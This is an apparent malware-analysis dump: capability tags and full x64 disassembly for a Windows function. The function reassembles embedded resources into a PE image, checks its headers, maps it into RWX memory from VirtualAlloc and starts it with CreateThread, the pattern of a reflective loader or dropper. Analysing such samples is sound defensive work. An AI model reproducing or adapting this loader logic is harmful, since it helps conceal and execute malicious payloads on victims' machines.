Function at 0x140004160
Capabilities:
Allocate or change rwx memory
Create thread
Extract resource via kernel32 functions
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
xor edx, edx
xor ecx, ecx
call fcn.1400385c4
xor r13d, r13d
xor ecx, ecx
mov r15d, r13d
mov r12d, r13d
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [0x14006ef50]
mov edx, 0x3e8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x140004430
mov rbx, 0xffffffffffffffff
nop dword [rax]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
test rax, rax
je 0x140004430
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, r15d
mov rcx, rsi
add edx, eax
cmovb rdx, rbx
call fcn.1400385c4
mov rsi, rax
test rax, rax
je 0x140004430
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, r15d
mov r8d, ebx
add rcx, rsi
mov rdx, rax
call fcn.140056bb0
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
inc r12d
xor ecx, ecx
add r15d, eax
mov eax, 0x3e8
add eax, r12d
movzx ebx, ax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [0x14006ef50]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
mov rbx, 0xffffffffffffffff
test rax, rax
jne 0x1400041d0
test r12d, r12d
je 0x140004430
test r15d, r15d
je 0x140004430
lea r8, [rbp + 0x77]
mov dword [rbp + 0x77], r13d
mov edx, r15d
mov rcx, rsi
call fcn.140004460
mov rdi, rax
test rax, rax
je 0x140004427
mov eax, dword [rbp + 0x77]
test eax, eax
je 0x140004427
mov qword [rbp - 0x61], rax
mov eax, 0x5a4d
mov qword [rbp - 0x51], r13
mov qword [rbp - 0x69], rdi
mov qword [rbp - 0x59], rdi
cmp word [rdi], ax
jne 0x14000443c
movsxd rbx, dword [rdi + 0x3c]
add rbx, rdi
mov qword [rbp - 0x51], rbx
cmp dword [rbx], 0x4550
jne 0x14000443c
lea rax, [rbx + 0x90]
mov qword [rbp - 0x49], rax
lea rdx, [rbx + 0xd0]
mov qword [rbp - 0x41], rdx
lea r8, [rbx + 0xb0]
mov qword [rbp - 0x39], r8
lea rcx, [rbx + 0xa0]
mov qword [rbp - 0x31], rcx
lea r14, [rbx + 0x108]
mov qword [rbp - 0x29], r14
test rbx, rbx
je 0x14000443c
test rax, rax
je 0x14000443c
test rdx, rdx
je 0x14000443c
test r8, r8
je 0x14000443c
test rcx, rcx
je 0x14000443c
test r14, r14
je 0x14000443c
mov edx, dword [rbx + 0x50]
mov r9d, 0x40
mov rcx, qword [rbx + 0x30]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1400043a1
mov edx, dword [rbx + 0x50]
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x14000443c
movaps xmm0, xmmword [rbp - 0x69]
lea rcx, [rbp - 0x19]
movaps xmm1, xmmword [rbp - 0x59]
mov r8, rsi
movaps xmmword [rbp - 0x19], xmm0
mov rdx, rdi
movaps xmm0, xmmword [rbp - 0x49]
movaps xmmword [rbp + 7], xmm0
movsd xmm0, qword [rbp - 0x29]
movaps xmmword [rbp - 9], xmm1
movaps xmm1, xmmword [rbp - 0x39]
movsd qword [rbp + 0x27], xmm0
movaps xmmword [rbp + 0x17], xmm1
call fcn.140005ea0
mov rbx, rax
test rax, rax
je 0x14000443c
mov r8d, dword [r14 + 0xc]
xor edx, edx
mov rcx, rsi
call fcn.140057250
mov rcx, rdi
call fcn.14003dca0
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov r8, rbx
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14000443c
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x14000443c
lea rcx, str._x__DATA_COULD_NOT_BE_VERIFIED_n
jmp 0x140004437
lea rcx, str._x__DATA_DOES_NOT_EXIST_n
call fcn.140001380
lea r11, [rsp + 0xd0]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret